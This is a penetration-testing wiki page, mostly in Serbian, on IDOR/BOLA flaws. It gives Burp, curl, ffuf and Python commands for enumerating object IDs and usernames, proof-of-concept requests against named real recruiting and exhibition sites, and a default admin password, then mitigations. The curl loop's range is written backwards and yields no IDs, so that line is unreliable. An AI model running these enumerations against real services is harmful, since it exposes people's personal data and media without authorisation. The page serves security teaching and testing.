IDOR (Insecure Direct Object Reference)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) se pojavljuje kada web ili API endpoint otkriva ili prihvata identifikator koji korisnik može kontrolisati, a koji se koristi direktno za pristup internom objektu bez provere da li je pozivalac ovlašćen da pristupi/izmeni taj objekat. Uspešna eksploatacija obično omogućava horizontalno ili vertikalno eskaliranje privilegija, kao što je čitanje ili izmena podataka drugih korisnika, a u najgorem slučaju potpuno preuzimanje naloga ili masovna eksfiltracija podataka.


1. Identifikacija potencijalnih IDOR-a

  1. Potražite parametre koji referenciraju objekat:
  • Putanja: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Preferirajte endpoint-e koji čitaju ili ažuriraju podatke (GET, PUT, PATCH, DELETE).
  2. Obratite pažnju kada su identifikatori sekvencijalni ili predvidljivi – ako je vaš ID 64185742, onda 64185741 verovatno postoji.
  3. Istražite skrivene ili alternativne tokove (npr. “Paradox team members” link na stranicama za prijavu) koji bi mogli otkriti dodatne API-je.
  4. Koristite autentifikovanu sesiju sa niskim privilegijama i menjajte samo ID, zadržavajući isti token/cookie. Odsustvo greške autorizacije obično je znak IDOR-a.

Brzo ručno menjanje (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Automatizovana enumeracija (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Enumerating predictable download IDs (ffuf)

Autentifikovani paneli za hostovanje fajlova često čuvaju meta-podatke po korisniku u jednoj tabeli files i izlažu endpoint za preuzimanje kao što je /download.php?id=<int>. Ako handler proverava samo da li ID postoji (a ne da li pripada autentifikovanom korisniku), možete pretražiti prostor celih brojeva koristeći vašu validnu session cookie i ukrasti backups/configs drugih tenants:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr uklanja 404-style template tako da ostanu samo pravi pogotci (npr. IDs 54/150 leaking pune rezervne kopije sajta i materijal za potpisivanje).
  • Isti FFUF tok rada radi sa Burp Intruder ili curl loop—samo se postarajte da ostanete autentifikovani dok povećavate ID-ove.

Orakl odgovora na greške za enumeraciju korisnika/fajlova

Kada endpoint za download prihvata i korisničko ime i ime fajla (npr. /view.php?username=<u>&file=<f>), suptilne razlike u porukama o greškama često stvaraju orakl:

  • Nepostojeće korisničko ime → “Korisnik nije pronađen”
  • Neispravno ime fajla ali validna ekstenzija → “Fajl ne postoji” (ponekad takođe navodi dostupne fajlove)
  • Neispravna ekstenzija → greška validacije

Sa bilo kojom autentifikovanom sesijom, možete fuzz-ovati parametar username dok držite bezazleno ime fajla i filtrirati po stringu “Korisnik nije pronađen” da otkrijete validne korisnike:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Kada se identifikuju važeća korisnička imena, direktno zatražite specifične fajlove (npr., /view.php?username=amanda&file=privacy.odt). Ovaj obrazac često dovodi do neautorizovanog otkrivanja dokumenata drugih korisnika i credential leakage.


2. Studija slučaja iz stvarnog sveta – McHire Chatbot Platform (2025)

Tokom procene portala za zapošljavanje McHire, kojeg pokreće Paradox.ai, otkriven je sledeći IDOR:

  • Krajnja tačka: PUT /api/lead/cem-xhr
  • Autorizacija: session cookie korisnika za bilo koji test nalog restorana
  • Parametar u telu: {"lead_id": N} – 8-cifreni, sekvencijalni numerički identifikator

Smanjivanjem lead_id tester je pribavio proizvoljne kandidate sa punim PII (ime, e-mail, telefon, adresa, preferencije smena) plus korisnički JWT koji je omogućio session hijacking. Enumeracija opsega 1 – 64,185,742 otkrila je otprilike 64 miliona zapisa.

Proof-of-Concept zahtev:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

U kombinaciji sa default admin credentials (123456:123456) koje su omogućavale pristup test nalogu, ranjivost je dovela do kritičnog, obuhvatnog curenja podataka u celoj kompaniji.

Studija slučaja – Wristband QR codes as weak bearer tokens (2025–2026)

Flow: Posetioci izložbe su dobijali narukvice sa QR kodom; skeniranjem https://homeofcarlsberg.com/memories/ pregledač uzima printed wristband ID, hex-encode it, i poziva cloudfunctions.net backend da dohvati stored media (photos/videos + names). Nije postojalo session binding ni user authentication — knowledge of the ID = authorization.

Predictability: ID-ovi narukvica su sledili kratak obrazac kao C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Prostor mogućih kombinacija je procenjen na ~26M kombinacija, trivijalan za iscrpljivanje online.

Exploitation workflow with Burp Intruder:

  1. Payload generation: Kreirajte kandidatske ID-e (npr. [A-Z]-###-###). Koristite Burp Intruder Pitchfork ili Cluster Bomb napad sa pozicijama za slovo i cifre. Dodajte payload processing rule → Add prefix/suffix → payload encoding: ASCII hex tako da svaki zahtev prenosi hex string koji backend očekuje.
  2. Response grep: Obeležite u Intruderu grep-match za markere koji se pojavljuju samo u validnim odgovorima (npr. media URLs/JSON polja). Nevalidni ID-evi obično vraćaju prazan niz/404.
  3. Throughput measurement: Oko 1,000,000 ID-eva je testirano za ~2 sata sa laptopa (~139 req/s). Pri toj brzini bi ceo keyspace (~26M) pao za ~52 sata. Primer pokretanja je već otkrio ~500 validnih narukvica (video i fotografije + puna imena).
  4. Rate-limiting verification: Nakon što je vendor tvrdio throttling, ponovo pokrenite istu Intruder konfiguraciju. Identical throughput/hit-rate je dokazao da kontrola nedostaje/je neučinkovita; enumeration je nastavljen bez prepreka.

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Lekcija: Encoding (ASCII→hex/Base64) ne dodaje entropiju; kratki ID-ovi postaju bearer tokens koji se mogu nabrojati uprkos kozmetičkom enkodiranju. Bez autorizacije po korisniku + visok-entropijskih tajni, media/PII može biti masovno prikupljen čak i ako se tvrdi “rate limiting”.


3. Uticaj IDOR / BOLA

  • Horizontalna eskalacija – čitanje/izmena/brisanje ostalih korisnika podataka.
  • Vertikalna eskalacija – korisnik sa niskim privilegijama dobija funkcionalnost dostupnu samo adminu.
  • Masovni kompromitacija podataka ako su identifikatori sekvencijalni (npr. applicant IDs, invoices).
  • Preuzimanje naloga krađom tokens ili resetovanjem lozinki drugih korisnika.

4. Mitigations & Best Practices

  1. Sprovodite autorizaciju na nivou objekta na svakom zahtevu (user_id == session.user).
  2. Preferirajte indirektne, nepredvidive identifikatore (UUIDv4, ULID) umesto auto-increment ID-ova.
  3. Izvršavajte autorizaciju server-side, nikada se ne oslanjajte na skrivena polja forme ili UI kontrole.
  4. Implementirajte RBAC / ABAC provere u centralnom middleware-u.
  5. Dodajte rate-limiting & logging da biste detektovali enumeraciju ID-ova.
  6. Bezbednosno testirajte svaki novi endpoint (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

Izvori

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks